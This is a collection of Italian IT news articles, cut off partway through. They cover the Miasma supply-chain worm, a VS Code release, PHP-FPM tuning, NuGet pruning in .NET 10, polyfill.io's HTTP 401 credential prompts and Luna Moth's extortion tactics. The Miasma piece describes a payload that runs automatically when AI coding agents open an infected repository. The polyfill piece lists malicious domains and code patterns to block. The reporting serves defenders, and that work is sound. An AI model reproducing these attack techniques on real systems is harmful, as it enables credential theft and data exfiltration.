Spcnet.it

2026-06-08 18:15:30

Miasma Worm: il supply chain attack che ha colpito 73 repository Microsoft su GitHub

Una campagna di attacco alla supply chain ha compromesso 73 repository Microsoft su GitHub, colpendo organizzazioni di alto profilo come Azure, Azure-Samples, Microsoft e MicrosoftDocs. Il responsabile è un worm auto-replicante denominato Miasma, variante del malware Mini Shai-Hulud rilasciato pubblicamente dal gruppo TeamPCP a metà maggio 2026.

L’incidente ha costretto GitHub a disabilitare l’accesso ai repository compromessi, tra cui alcuni di assoluta centralità nell’ecosistema Microsoft open source, come Azure/azure-functions-host e l’intera famiglia dei Durable Task SDK.

La catena di compromissione: dai pacchetti PyPI ai repository GitHub

Miasma non è una minaccia nuova: il worm ha già colpito in precedenza. Il mese prima di questo incidente, il pacchetto PyPI durabletask era stato infettato da TeamPCP per consegnare un information stealer su sistemi Linux. Il fatto che, un mese dopo, l’intero ecosistema Durable Task su GitHub sia stato compromesso — incluse le implementazioni .NET, Go, Java, JavaScript, MSSQL e Protobuf — non è una coincidenza.

Come ha osservato il ricercatore di sicurezza Paul McCarty (alias 6mile): “Quando il repository al centro dell’attacco del mese scorso diventa l’epicentro del takedown di questo mese, non è una coincidenza — è la stessa ferita che si riapre. Chi deteneva quelle credenziali a maggio non le ha probabilmente mai perso del tutto.”

Come funziona Miasma: sfruttare la fiducia, non le vulnerabilità

Quello che rende Miasma particolarmente pericoloso è il suo meccanismo di propagazione: il worm non sfrutta vulnerabilità tecniche nei registri npm o in GitHub. Sfrutta invece il modello di fiducia su cui si reggono questi ecosistemi.

Come sintetizza FalconFeeds.io: “Il genio del worm sta nel fatto che opera interamente attraverso canali legittimi. Non sfrutta una vulnerabilità in npm o GitHub. Sfrutta il modello di fiducia su cui queste piattaforme sono costruite: l’assunzione che se un pacchetto è firmato con una chiave valida e pubblicato da un maintainer autenticato, sia sicuro. Miasma compromette la chiave e il maintainer, poi agisce esattamente come farebbe un publisher legittimo.”

Da un punto di vista dei sistemi di difesa convenzionali, ogni evento di pubblicazione malevolo è indistinguibile da un aggiornamento ordinario.

Il vettore di attacco: gli agenti AI come trigger

Uno degli aspetti più innovativi — e preoccupanti — di Miasma è il suo vettore di detonazione. Secondo l’analisi di SafeDep, il worm ha piantato un payload runner da 4,3 MB nei repository infetti, configurato per attivarsi automaticamente attraverso cinque strumenti di sviluppo:

• Claude Code
• Gemini CLI
• Cursor
• VS Code
• Lo script npm test

In pratica: uno sviluppatore clona un repository infetto, lo apre nel suo agente AI preferito, e il payload si esegue automaticamente. Nessun click, nessuna interazione esplicita richiesta.

Questo segna un’evoluzione significativa nel panorama degli attacchi supply chain: gli agenti AI, progettati per eseguire codice in autonomia, diventano inconsapevolmente vettori di esecuzione per payload malevoli.

I repository Microsoft colpiti

Tra i repository compromessi e disabilitati da GitHub figurano:

• Azure/azure-functions-host
• Azure/durabletask
• durabletask-dotnet
• durabletask-go
• durabletask-js
• durabletask-mssql
• azure-search-openai-demo-purviewdatasecurity
• llm-fine-tuning
• windows-driver-docs
• Connectors-NET-SDK, Connectors-NET-LSP

Oltre ai repository Microsoft, Miasma ha saltato completamente il registro npm in alcuni casi, compromettendo direttamente il repository GitHub icflorescu/mantine-datatable e quattro repository correlati (mantine-contextmenu, next-server-actions-parallel, mantine-datatable-v6, mantine-contextmenu-v6).

Come difendersi dagli attacchi supply chain di questa generazione

La natura di Miasma — operare all’interno dei canali legittimi — rende i controlli tradizionali insufficienti. Ecco le misure pratiche che i team di sviluppo e i sistemisti dovrebbero adottare:

1. Lockfile e hash verification

Usare sempre lockfile (package-lock.json, poetry.lock, go.sum) e verificare gli hash dei pacchetti. Non fare mai npm install o pip install senza version pinning stretto su ambienti di produzione e CI.

2. Controllo delle permission degli agenti AI

Configurare gli agenti AI (VS Code, Cursor, Claude Code, Gemini CLI) in modo che non eseguano script automaticamente alla clonazione di un repository. Molti agenti hanno modalità di esecuzione permissiva abilitata di default: è necessario revisionare le impostazioni.

3. Ambienti sandbox per il codice sconosciuto

Prima di aprire repository esterni in un agente AI, eseguire un’ispezione manuale dei file package.json, pyproject.toml, script di lifecycle, e configurazioni degli agenti (.cursor/, .claude/, .vscode/). Meglio ancora: usare ambienti sandbox isolati (container, VM) per il primo accesso a codice di terze parti.

4. Monitoraggio delle dipendenze con tool come OpenSourceMalware e SafeDep

Strumenti come OpenSourceMalware e SafeDep monitorano attivamente l’ecosistema npm, PyPI e GitHub per rilevare comportamenti anomali nei pacchetti. Integrare questi feed nei processi di revisione delle dipendenze.

5. Principio del minimo privilegio per le credenziali di repository

La ricompaprsa delle stesse credenziali a distanza di un mese dimostra che il reset delle credenziali post-incidente spesso non è completo. Implementare credenziali rotate automaticamente, short-lived token (es. GitHub OIDC token in CI), e auditing degli accessi ai repository.

Il quadro più ampio: la minaccia ai modelli di sviluppo moderni

L’attacco Miasma evidenzia una tensione strutturale nell’ecosistema software moderno: la velocità e l’apertura che rendono l’open source produttivo sono le stesse caratteristiche che lo rendono vulnerabile a questa classe di attacchi. I worm supply chain che operano “dentro le regole” sono una categoria di minaccia che crescerà, soprattutto con la diffusione degli agenti AI come strumenti di sviluppo quotidiani.

Per i team di sviluppo e i sistemisti, il messaggio è chiaro: i controlli di sicurezza devono evolvere oltre la verifica dell’autenticità formale dei pacchetti, verso un’analisi comportamentale dei contenuti e una gestione più granulare delle permission degli strumenti di sviluppo.

---

Fonte: 4sysops – Miasma worm compromises 73 Microsoft GitHub repositories | The Hacker News – Miasma Worm Hits 73 Microsoft GitHub Repositories

Miasma worm compromises 73 Microsoft GitHub repositories in supply chain attack – 4sysops

A self-replicating worm named Miasma has successfully compromised 73 Microsoft GitHub repositories across several organizations, including Azure and MicrosoftDo

^{IT News (4sysops)}

Spcnet.it

2026-06-08 18:15:02

VS Code 1.124: cronologia chat per sessione, multi-chat e regex flag per i folding marker

Visual Studio Code 1.124 è disponibile dal 4 giugno 2026 e porta con sé miglioramenti significativi alla finestra Agenti, novità sul controllo dei folding marker e altri raffinamenti per il workflow di sviluppo. Ecco una panoramica tecnica delle novità più rilevanti.

Finestra Agenti: storico chat contestuale per sessione

Fino alla versione precedente, la navigazione cronologica dei prompt nella finestra Agenti (tasto ↑ / ↓ nell’input della chat) includeva prompt provenienti da sessioni diverse. Questo comportamento poteva far trapelare contesti di lavoro non pertinenti all’attività corrente.

Con VS Code 1.124, la cronologia dei prompt è ora limitata alla sessione corrente. Navigare la cronologia con i tasti freccia restituisce solo i comandi digitati nella stessa sessione attiva, evitando contaminazioni di contesto tra task distinti. Un miglioramento apparentemente piccolo, ma apprezzabile nei workflow che prevedono sessioni parallele o rapide rotazioni di contesto.

Multi-chat e invio in background

La versione 1.124 introduce il supporto multi-chat per le sessioni locali: è ora possibile tenere aperte più conversazioni indipendenti nella finestra Agenti senza dover gestire tutto in un’unica thread lineare.

Altrettanto utile è il nuovo invio in background (background send). Con Alt+Invio oppure Alt+clic sul pulsante Send, si avvia una sessione agente senza che il focus venga spostato su di essa. Il vantaggio pratico: si può lanciare un’attività lunga e iniziare immediatamente a comporre il messaggio successivo nella sessione successiva, senza interruzioni del flusso.

Navigazione da tastiera e chiusura massiva delle sessioni

La griglia delle sessioni nella finestra Agenti ora supporta la navigazione da tastiera:

• Ctrl+1 – Ctrl+9 (oppure Cmd+1 – Cmd+9 su macOS) per portare il focus sulla sessione nella posizione corrispondente.
• Ctrl+K Ctrl+W (Cmd+K Cmd+W su Mac) per chiudere tutte le sessioni attive in una sola operazione.

Chi lavora con più agenti in esecuzione simultanea troverà queste scorciatoie particolarmente utili per tenere sotto controllo lo spazio di lavoro senza dover ricorrere al mouse.

Regex flags per i folding marker

Un aggiornamento più tecnico riguarda la configurazione dei folding marker nei file di definizione del linguaggio (language-configuration.json). In precedenza, i pattern di apertura e chiusura dei blocchi di codice piegabili accettavano solo stringhe regex semplici.

Con VS Code 1.124, i pattern supportano ora un formato a oggetto che permette di specificare flag aggiuntivi, come la corrispondenza case-insensitive:

{
  "folding": {
    "markers": {
      "start": { "pattern": "#region", "flags": "i" },
      "end":   { "pattern": "#endregion", "flags": "i" }
    }
  }
}

Questo permette ai maintainer di estensioni linguistiche di definire regole di folding più granulari e flessibili, utili ad esempio per linguaggi che non rispettano convenzioni di case uniformi.

Come aggiornare

L’aggiornamento a VS Code 1.124 avviene automaticamente per chi ha attivato gli aggiornamenti automatici. In alternativa, è possibile aggiornare manualmente tramite Aiuto → Controlla aggiornamenti oppure scaricando l’installer dal sito ufficiale.

Per chi usa VS Code Insiders, le stesse funzionalità erano già disponibili nelle build di maggio-giugno 2026 con la possibilità di testarle in anticipo.

Considerazioni finali

VS Code 1.124 non è una release rivoluzionaria, ma dimostra come Microsoft stia raffinando sistematicamente l’esperienza degli agenti AI integrati nell’editor. La contestualizzazione della cronologia chat, il supporto multi-sessione e le scorciatoie di navigazione sono dettagli che, sommati, riducono il friction quotidiano per chi lavora intensamente con GitHub Copilot o altri agenti AI nel proprio workflow.

Il miglioramento ai folding marker è invece un regalo apprezzato per chi sviluppa o mantiene estensioni per linguaggi personalizzati o poco comuni.

---

Fonte: VS Code 1.124 Release Notes · 4sysops

Visual Studio Code 1.124 enhances agent chat and folding markers – 4sysops

Visual Studio Code version 1.124 introduces significant improvements to the Agents window for managing AI-driven interactions. The chat input history is now sco

^{IT News (4sysops)}

Spcnet.it

2026-06-08 18:14:43

PHP-FPM: perché usare pm static per le massime prestazioni in produzione

Chi amministra server Linux con stack LEMP o LAMP sa bene che le prestazioni di PHP-FPM dipendono in larga misura dalla corretta configurazione del process manager (PM). L’impostazione predefinita pm = dynamic va bene per molti scenari, ma su server ad alto traffico con memoria disponibile può diventare un collo di bottiglia. Vediamo perché pm = static è spesso la scelta migliore per la produzione.

Le tre modalità di PHP-FPM process manager

PHP-FPM offre tre strategie per gestire i processi worker:

pm = dynamic

Il numero di processi varia dinamicamente in base ai parametri:

pm = dynamic
pm.max_children = 50
pm.start_servers = 5
pm.min_spare_servers = 5
pm.max_spare_servers = 35

PHP-FPM mantiene un pool variabile: avvia un certo numero di processi al boot, ne crea di nuovi sotto carico e termina quelli in eccesso in fase di inattività. È la modalità più flessibile ma anche quella con più overhead gestionale.

pm = ondemand

pm = ondemand
pm.max_children = 50
pm.process_idle_timeout = 10s

I processi vengono creati solo quando arrivano le richieste e terminati dopo un timeout di inattività. Ideale quando la memoria è scarsa o si gestiscono molti pool con traffico basso (tipicamente hosting condiviso con cPanel). Il limite è che su server con traffico intermittente ma costante, i processi vengono continuamente creati e distrutti, aggiungendo latenza esattamente nei momenti di picco.

pm = static

pm = static
pm.max_children = 100
pm.max_requests = 1000

Il numero di processi è fisso: pm.max_children worker vengono avviati al boot e restano sempre in memoria, pronti a rispondere. Non c’è overhead di creazione/terminazione dei processi.

L’analogia con il CPU governor

La scelta tra le tre modalità rispecchia esattamente quella del governor CPUFreq su Linux:

• ondemand (CPU): scala la frequenza in base al carico, poi scende — stessa logica di pm ondemand
• conservative (CPU): simile ma più graduale — analogo a pm dynamic
• performance (CPU): massima frequenza sempre — equivalente a pm static

Su un server di produzione dedicato con carico consistente, proprio come si imposta il governor a performance, ha senso impostare PHP-FPM a static: si sacrifica un po’ di memoria per azzerare la latenza di spawn dei processi.

Quando usare pm static

pm = static è la scelta giusta quando:

• Il server ha memoria abbondante rispetto al traffico atteso
• Il carico è costante o con picchi frequenti (non siti dormenti)
• Si gestisce un singolo pool PHP-FPM per applicazione
• Si vuole la latenza minima possibile per ogni richiesta

Con i worker già in memoria, un picco di traffico improvviso viene assorbito senza dover attendere lo spawn di nuovi processi — che su sistemi sotto carico può richiedere decine di millisecondi.

Calcolare il valore corretto di pm.max_children

Impostare pm.max_children a caso è il classico errore. Troppo alto esaurisce la RAM, troppo basso crea code di attesa. Ecco come calcolarlo con dati reali.

Step 1: misurare la dimensione media di un worker

ps --no-headers -o rss -C php-fpm | awk '{ sum += $1; n++ } END { print sum/n/1024 " MB" }'

Questo comando mostra la dimensione media in MB del Resident Set Size (RSS) di ogni processo php-fpm in esecuzione. Eseguirlo sotto carico reale, non a server scarico.

Step 2: applicare la formula

pm.max_children = memoria_allocabile_MB / dimensione_media_worker_MB

Esempio concreto: se il worker medio pesa 60 MB e si possono allocare 6 GB a PHP-FPM:

pm.max_children = 6144 / 60 ≈ 100

Importante: non assegnare tutta la RAM disponibile a PHP-FPM. Lasciare sempre headroom per il kernel, Nginx/Apache, il database (MySQL/PostgreSQL) e la cache del filesystem. Una regola empirica è non superare il 60-70% della RAM totale per PHP-FPM su un server LEMP monolitico.

Step 3: impostare pm.max_requests

pm.max_requests = 1000

Con pm = static, i processi non vengono mai riavviati automaticamente per inattività. pm.max_requests definisce dopo quante richieste un worker viene riavviato — utile per prevenire memory leak in applicazioni PHP non perfette. Un valore alto (1000+) riduce l’overhead mantenendo una certa protezione. Solo se si ha certezza assoluta di assenza di leak si può usare pm.max_requests = 0.

Monitoraggio dei processi PHP-FPM

Per verificare il comportamento in produzione:

# Vedere tutti i processi PHP-FPM con CPU e memoria
top -bn1 | grep php-fpm

# Contare i worker attivi vs idle (richiede pm.status_path abilitato)
curl http://localhost/fpm-status

# Dimensione totale RSS usata da PHP-FPM
ps --no-headers -o rss -C php-fpm | awk '{ sum += $1 } END { print sum/1024 " MB totali" }'

Abilitare il status page di PHP-FPM nel pool configuration è fondamentale per il monitoring:

; in /etc/php/8.x/fpm/pool.d/www.conf
pm.status_path = /fpm-status

Quando ondemand e dynamic restano la scelta giusta

Non tutto è nero o bianco. pm ondemand e pm dynamic restano preferibili in questi scenari:

• Hosting condiviso con 100+ pool: con tanti siti a traffico basso, tenere worker statici per ogni pool divorberebbe la RAM. cPanel stessa usa ondemand come default per questo motivo.
• Server con memoria limitata: se la RAM è il collo di bottiglia, meglio sacrificare un po’ di latenza che andare in swap.
• Ambienti containerizzati con autoscaling orizzontale: in un setup Kubernetes dove i pod scalano orizzontalmente, ha più senso un pm ondemand con confini ben definiti per container, lasciando che l’orchestratore gestisca il scaling.

Esempio di configurazione ottimale per server ad alto traffico

[www]
user = www-data
group = www-data

listen = /run/php/php8.3-fpm.sock
listen.owner = www-data
listen.group = www-data

pm = static
pm.max_children = 80
pm.max_requests = 2000

pm.status_path = /fpm-status

request_terminate_timeout = 60s
request_slowlog_timeout = 10s
slowlog = /var/log/php/fpm-slow.log

php_admin_value[error_log] = /var/log/php/fpm-error.log
php_admin_flag[log_errors] = on
php_admin_value[memory_limit] = 256M

Conclusione

Su server dedicati ad alto traffico con memoria disponibile, pm = static è quasi sempre la configurazione vincente. Elimina l’overhead del process manager, garantisce latenza costante e rende il comportamento del sistema prevedibile sotto carico. La chiave è misurare prima di configurare: il valore di pm.max_children deve essere basato sulla dimensione reale dei worker in produzione, non su stime.

Per ambienti multi-pool o con memoria limitata, ondemand rimane una scelta sensata. Ma per il classico server LEMP di produzione con una singola applicazione, passare a pm static è spesso uno dei miglioramenti più semplici e impattanti che si possano fare.

---

Fonte originale: PHP-FPM tuning: Using ‘pm static’ for max performance — LinuxBlog.io

PHP-FPM tuning: Using 'pm static' for max performance | LinuxBlog.io

Let's take a quick look at how best to set up PHP-FPM for high throughput, low latency, and more stable CPU and memory use. By default, most setups have

^{Hayden James (LinuxBlog.io)}

Spcnet.it

2026-06-08 18:15:22

NuGet Package Pruning in .NET 10: dipendenze più pulite e meno falsi positivi di vulnerabilità

Se hai mai eseguito dotnet list package --vulnerable su un progetto .NET, probabilmente hai visto avvisi per pacchetti transitivi che non hai mai installato esplicitamente — come System.Text.Json o System.Formats.Asn1. In molti casi, questi pacchetti sono già forniti in una versione più recente dal runtime .NET, e gli avvisi sono falsi positivi. Con .NET 10, NuGet risolve questo problema in modo elegante: il package pruning.

Il problema: dipendenze transitorie fantasma

Molte librerie su NuGet.org hanno come target netstandard2.0 per massima compatibilità, e portano con sé dipendenze da pacchetti come System.Memory, System.Text.Json o System.IO.Pipelines — pacchetti che nel frattempo sono diventati parte delle .NET Runtime Libraries.

Il risultato pratico: un progetto .NET 10 che dipende da una di queste librerie si trova a risolvere durante il restore System.Text.Json 8.0.0 come dipendenza transitiva, anche se il runtime .NET 10 già include una versione più recente. Quando viene pubblicata una CVE contro quella versione, i vulnerability scanner la segnalano — anche se la tua applicazione non la usa affatto.

Questo genera tre problemi concreti:

• Falsi positivi nelle vulnerability scan: avvisi per pacchetti già coperti dal runtime
• Grafi di restore più grandi: più pacchetti da risolvere e scaricare
• Riferimenti obsoleti: entry vecchie nel dependency graph che non rispecchiano cosa usa davvero l’app

Come funziona il Package Pruning

Il package pruning rimuove dal grafo di dipendenze NuGet i pacchetti già forniti dalle .NET Runtime Libraries al momento del restore. Il .NET SDK include una lista dei pacchetti forniti da ciascun target framework, con la versione massima disponibile. Se una dipendenza transitiva rientra in quel range, NuGet la elimina.

Ad esempio, net10.0 include System.Text.Json 10.x: una dipendenza transitiva su System.Text.Json 9.0.0 verrebbe pruned; una su System.Text.Json 11.0.0 no (perché il runtime non copre quella versione).

Prima del pruning

Sample.csproj : warning NU1903: Package 'System.Formats.Asn1' 6.0.0 has a
known high severity vulnerability

Project 'Sample' has the following package references
   [net10.0]:
   Top-level Package              Resolved
   > Microsoft.Extensions.AI      10.0.1
   > NuGet.Protocol               6.9.1

   Transitive Package                                     Resolved
   > System.Diagnostics.DiagnosticSource                  10.0.0
   > System.Formats.Asn1                                  6.0.0   ← VULNERABILE
   > System.Text.Json                                     10.0.0
   > System.Threading.Channels                            10.0.0
   ...

Dopo il pruning

Project 'Sample' has the following package references
   [net10.0]:
   Top-level Package              Resolved
   > Microsoft.Extensions.AI      10.0.1
   > NuGet.Protocol               6.9.1

   Transitive Package                                     Resolved
   > Microsoft.Extensions.AI.Abstractions                 10.0.1
   > Newtonsoft.Json                                      13.0.3
   > NuGet.Common                                         6.9.1
   ...
   (System.Formats.Asn1, System.Text.Json, System.Threading.Channels rimossi)

System.Formats.Asn1, System.Text.Json e System.Threading.Channels non compaiono più come dipendenze transitorie perché sono ridondanti su net10.0. L’avviso di vulnerabilità scompare.

Le novità in .NET 10

Il package pruning era disponibile come opt-in dal .NET SDK 9.0.200. Con .NET 10 diventa il comportamento predefinito per i progetti che hanno come target net10.0 o versioni successive.

In parallelo, NuGetAuditMode ora vale all per default, estendendo l’audit alle dipendenze transitorie. Pruning e audit lavorano insieme: il pruning rimuove i pacchetti ridondanti, l’audit si concentra sulle dipendenze che la tua app usa davvero.

I risultati misurati dal team NuGet:

• 70% di report di vulnerabilità transitorie in meno rispetto ai default precedenti
• Fino al 50% di riduzione del tempo di restore a livello di singolo progetto
• Tasso di successo del restore misurabilmente più alto

Gestione dei PackageReference diretti

Se hai un riferimento diretto a un pacchetto che rientra nel range del pruning, NuGet non lo rimuove automaticamente dal tuo .csproj, ma lo “privatizza” aggiungendo implicitamente PrivateAssets='all' e IncludeAssets='none'. Quando un riferimento diretto può essere rimosso completamente, NuGet emette il warning NU1510:

<!-- Prima: riferimento diretto ridondante -->
<PackageReference Include="System.Text.Json" Version="10.0.0" />

<!-- NuGet emetterà NU1510: puoi rimuovere questo riferimento -->

Come attivare manualmente (per progetti precedenti)

Per progetti che non usano ancora i default di .NET 10, è possibile attivare pruning e audit esplicitamente:

<PropertyGroup>
  <NuGetAuditMode>all</NuGetAuditMode>
  <RestoreEnablePackagePruning>true</RestoreEnablePackagePruning>
</PropertyGroup>

In un progetto multi-target, se almeno un target framework è net10.0 o successivo, il pruning si applica a tutti i target framework del progetto.

Impatto su pipeline CI/CD e security scanning

Per i team che usano tool come OWASP Dependency-Check, Snyk, GitHub Dependabot o dotnet-outdated, il package pruning riduce significativamente il rumore nei report. I vulnerability report post-pruning riflettono le dipendenze reali dell’applicazione, rendendo le decisioni di remediation più precise e il triage più veloce.

Il comando per verificare lo stato attuale del tuo progetto:

dotnet list package --include-transitive --vulnerable

Con .NET 10 e pruning attivo, l’output dovrebbe essere significativamente più corto rispetto a .NET 8/9 con gli stessi package di primo livello.

Conclusione

Il package pruning in .NET 10 è uno di quei miglioramenti silenziosi che hanno un impatto concreto quotidiano: meno rumore nei report di sicurezza, restore più veloci, e un dependency graph che rispecchia davvero cosa usa la tua applicazione. Se stai ancora su .NET 9, vale la pena attivarlo subito con le due property nella sezione precedente.

Fonte: NuGet Package Pruning: Cleaner Dependencies and Actionable Vulnerability Reports — .NET Blog

NuGet Package Pruning: Cleaner Dependencies and Actionable Vulnerability Reports - .NET Blog

Package pruning in .NET 10 removes platform-provided packages from your dependency graph. With transitive auditing enabled by default, projects with these defaults have 70% fewer transitive vulnerability reports compared to projects using the previou…

^{Nikolche Kolev (.NET Blog)}

(in)sicurezza digitale

2026-06-08 18:17:21

Polyfill.io torna attivo nel 2026: pop-up di login sospetti colpiscono Toshiba, Muji e Samsung

Il dominio polyfill[.]io — protagonista di uno dei più clamorosi supply chain attack del 2024 — è tornato attivo a fine maggio 2026 con un nuovo vettore: risposte HTTP 401 che inducono i browser a mostrare finestre di autenticazione false agli utenti di siti che non avevano ancora rimosso il vecchio script. Tra le vittime più note: Toshiba, Muji, Zojirushi e Samsung Smart TV.

Il contesto: l’incidente polyfill.io del 2024

Polyfill è una libreria JavaScript che permette ai siti web di supportare funzionalità moderne su browser legacy, fornendo uno strato di compatibilità lato client. Per anni, milioni di siti hanno caricato questa libreria dal CDN ospitato su polyfill[.]io — un dominio che tuttavia non era mai stato di proprietà del creatore del progetto open source, Andrew Betts.

Nel febbraio 2024, il dominio polyfill[.]io fu acquistato da un’entità cinese (Funnull), che lo utilizzò per iniettare codice malevolo negli script distribuiti dal CDN, colpendo oltre 100.000 siti. Betts reagì subito consigliando a tutti gli amministratori di rimuovere il servizio dai propri siti e rilancò il progetto originale sotto nuovi domini (polyfill.com, poi polyfill.top). Le autorità e diversi CDN provider bloccarono l’accesso a polyfill[.]io, fermando i redirect malevoli.

Maggio 2026: il dominio risponde di nuovo — con HTTP 401

Il problema del 2026 ha un meccanismo diverso ma altrettanto insidioso. Secondo il ricercatore di sicurezza Pasquale Pillitteri, a partire da fine maggio 2026 il dominio polyfill[.]io ha ricominciato a rispondere alle richieste, questa volta restituendo codici HTTP 401 (Unauthorized). Quando un browser carica una risorsa da un dominio esterno e riceve una risposta 401, interpreta questo come una richiesta di autenticazione e mostra automaticamente una finestra di dialogo per inserire username e password.

Tutti i siti che negli ultimi due anni non avevano completato la pulizia del codice — rimuovendo ogni riferimento a polyfill[.]io — si sono trovati improvvisamente a presentare ai propri utenti delle finestre di login che sembravano provenire dal sito legittimo, ma erano in realtà generate da una risorsa esterna non controllata dall’azienda.

Le organizzazioni colpite

Il colosso tecnologico Toshiba ha pubblicato un avviso urgente ai propri utenti il 2 giugno 2026, chiedendo di annullare qualsiasi finestra di autenticazione insolita apparsa sul sito e di non inserire credenziali. Il gigante del retail Muji ha emesso un comunicato simile, dichiarando di non aver rilevato accessi non autorizzati o fughe di dati, ma invitando comunque alla prudenza chi avesse eventualmente inserito le proprie credenziali. Anche Zojirushi (elettrodomestici), FiNC Technologies (app di salute), Ishiyaku Publishers e Hobonichi (editore e brand lifestyle) hanno segnalato lo stesso problema. Pillitteri ha riportato che il fenomeno si è manifestato anche sui televisori Samsung Smart TV l’1 giugno 2026.

Analisi tecnica: il meccanismo dell’HTTP 401 browser prompt

Il comportamento è standard nelle specifiche HTTP: quando una risorsa (script, immagine, iframe) risponde con 401, il browser mostra automaticamente una finestra di autenticazione nativa (WWW-Authenticate challenge). L’aspetto visivo di questa finestra è quello di un dialog box del browser — non una pagina web — il che può dare all’utente l’impressione di una richiesta legittima proveniente dal sito che sta visitando. Se l’utente inserisce le credenziali, queste vengono inviate in chiaro (o con Basic Auth) al server che ha emesso la challenge — in questo caso polyfill[.]io.

Al momento della pubblicazione dell’articolo originale di BleepingComputer (5 giugno 2026), non erano emerse prove concrete che le credenziali eventualmente inserite dagli utenti fossero state effettivamente raccolte. Toshiba e Muji hanno dichiarato di aver rimosso il riferimento a polyfill[.]io e di aver sospeso il servizio. Tuttavia, il rischio per gli utenti che abbiano inserito credenziali prima della chiusura rimane reale, e il cambio password immediato è fortemente consigliato.

Cosa devono fare gli amministratori di siti web

La lezione principale di questo incidente è chiara: le dipendenze da CDN esterni non controllati rappresentano un rischio persistente anche dopo che un incidente di sicurezza è stato apparentemente risolto. Gli amministratori devono verificare immediatamente che nessuna pagina del proprio sito contenga riferimenti a polyfill[.]io — incluse pagine secondarie, template legacy e componenti di terze parti. Gli strumenti di Content Security Policy (CSP) e Subresource Integrity (SRI) possono prevenire questo tipo di attacco bloccando il caricamento di risorse da domini non autorizzati o con hash diverso da quello atteso. Qualsiasi CDN di terze parti dovrebbe essere monitorato per variazioni nel comportamento delle risorse caricate.

Indicatori

## Dominio da bloccare
polyfill.io
cdn.polyfill.io

## Pattern da cercare nel codice sorgente
src="https://polyfill.io/
src='https://polyfill.io/
src="//polyfill.io/

(in)sicurezza digitale

2026-06-08 18:16:34

Luna Moth incassa 20 milioni di dollari da Weil Gotshal & Manges: il gruppo entra fisicamente negli uffici per rubare dati

Weil, Gotshal & Manges — una delle law firm più influenti al mondo, con un portafoglio clienti che include le maggiori transazioni M&A e contenziosi corporate degli Stati Uniti — ha corrisposto tra 18 e 20 milioni di dollari al gruppo di estorsione noto come Luna Moth, Silent Ransom Group o UNC3753. Il pagamento è avvenuto nell’arco di tre giorni dalla richiesta. Contemporaneamente, l’FBI ha emesso un alert FLASH — il secondo in dodici mesi su questo attore, il primo a livello FLASH — documentando un’escalation tattica senza precedenti: il gruppo ora invia operativi fisici negli uffici delle vittime.

Chi è Luna Moth / Silent Ransom Group

Luna Moth è attiva dal 2022 e affonda le proprie radici nelle operazioni BazarCall, un’infrastruttura di phishing telefonico che fino alla primavera di quell’anno aveva fornito accesso iniziale alle operazioni ransomware di Ryuk e Conti. Dopo il collasso di Conti (aprile 2022), il nucleo operativo si è separato dando vita al Silent Ransom Group, che ha abbandonato il modello tradizionale di ransomware con cifratura dei sistemi in favore di pura estorsione via data theft.

Il modello economico è cinico ma efficace: non cifrare i sistemi delle vittime significa non bloccare l’operatività aziendale (il che riduce la pressione a chiamare le forze dell’ordine) e concentrarsi sulla minaccia più cogente per le law firm — la pubblicazione di documenti riservati dei clienti. Secondo la società di sicurezza Halcyon, tra il 2025 e l’inizio del 2026 si contano oltre 200 incidenti ransomware/estorsione ai danni di studi legali, con il SRG protagonista indiscusso della verticalizzazione su questo settore.

Il caso Weil Gotshal: cronologia e dettagli

Secondo il reporting esclusivo di The Insurer, Luna Moth ha ottenuto accesso a un numero non specificato di documenti riservati dei clienti di Weil, Gotshal & Manges e li ha caricati su un’infrastruttura cloud esterna senza autorizzazione. La richiesta di riscatto — definita “suppression payment” — ammonta a una cifra tra 18 e 20 milioni di dollari. Il pagamento sarebbe stato effettuato entro tre giorni dalla richiesta.

Weil ha confermato l’incidente in una dichiarazione ufficiale, specificando che “un attore malintenzionato ha caricato senza autorizzazione un numero limitato di documenti clienti su una risorsa cloud esterna”. La firma ha aggiunto che i forensic specialist ingaggiati non hanno trovato prove di penetrazione nella rete interna e che non è stata rilevata attività non autorizzata nei monitoraggi successivi. La società ha notificato i clienti i cui dati sono stati coinvolti e ha comunicato di aver allertato le forze dell’ordine. Il pagamento del riscatto non è stato confermato da Weil.

L’impatto reputazionale è comunque significativo: una law firm che gestisce transazioni miliardarie e contenziosi sensibili è per definizione un target ad altissimo valore per chi punta alla pubblicazione di informazioni riservate. Secondo EclecticIQ, il SRG ha già pubblicato dati di oltre 38 studi legali sul proprio leak site, con un totale di incidenti che supera i 100.

L’escalation tattica: dal vishing all’infiltrazione fisica

L’elemento più allarmante documentato dall’alert FLASH dell’FBI (numero FLASH-20260526-01) è l’evoluzione della kill chain del SRG, che si è articolata in tre generazioni tattiche distinte.

Fase 1 (2022-2024) — Callback phishing: invio massivo di email che impersonano servizi di subscription con un numero telefonico da chiamare per “risolvere il problema”. L’operatore al telefono — che finge di essere il supporto del servizio — convince la vittima a installare un tool di remote monitoring and management (RMM) da un sito fake dell’helpdesk. Non ci sono link o allegati malevoli nell’email, il che consente di bypassare la stragrande maggioranza dei filtri enterprise.

Fase 2 (primavera 2025-inizio 2026) — IT impersonation via cold call: invece di aspettare che la vittima chiami, il SRG inizia a contattare direttamente i dipendenti spacciandosi per l’IT interno dell’azienda target. Il pretesto standard è una “manutenzione di routine” o una risposta a un presunto attacco phishing ricevuto. La richiesta è la stessa: concedere l’accesso a una sessione desktop remota. Il livello di preparazione degli operatori è elevato: registrano domain typosquatted che impersonano i portali IT delle law firm target, personalizzano il social engineering in base all’organigramma aziendale.

Fase 3 (primavera 2026) — Infiltrazione fisica: questa è la novità documentata dall’FBI nel FLASH alert. Quando i tentativi di accesso remoto falliscono, il SRG invia un operativo fisicamente presso la sede della vittima. L’attore si presenta come tecnico IT e dichiara di dover “clonare il disco” o “creare un backup” per far fronte a potenziali impatti del phishing ricevuto. Una volta ottenuto l’accesso fisico alla macchina, inserisce un dispositivo di storage per estrarre i dati direttamente.

TTP e strumenti tecnici

Una volta ottenuto l’accesso remoto o fisico, la metodologia del SRG è caratterizzata da minima privilege escalation e rapido pivot verso l’esfiltrazione. Gli strumenti principali documentati dall’FBI sono WinSCP (Windows Secure Copy) e versioni nascoste o rinominate di rclone per la sincronizzazione cloud. Il gruppo usa le credenziali carpite per accedere a repository documentali, drive condivisi e cartelle clienti. Il leak site è attivo e viene aggiornato regolarmente come strumento di pressione nelle negoziazioni.

Le richieste di riscatto variano significativamente in base alla dimensione dell’organizzazione target: secondo EclecticIQ i range storici vanno da 1 a 8 milioni di dollari. Il caso Weil Gotshal — con 18-20 milioni — rappresenta un massimo storico documentato per questa famiglia, coerente con il profilo ultra-premium della law firm target.

Perché le law firm sono il target ideale

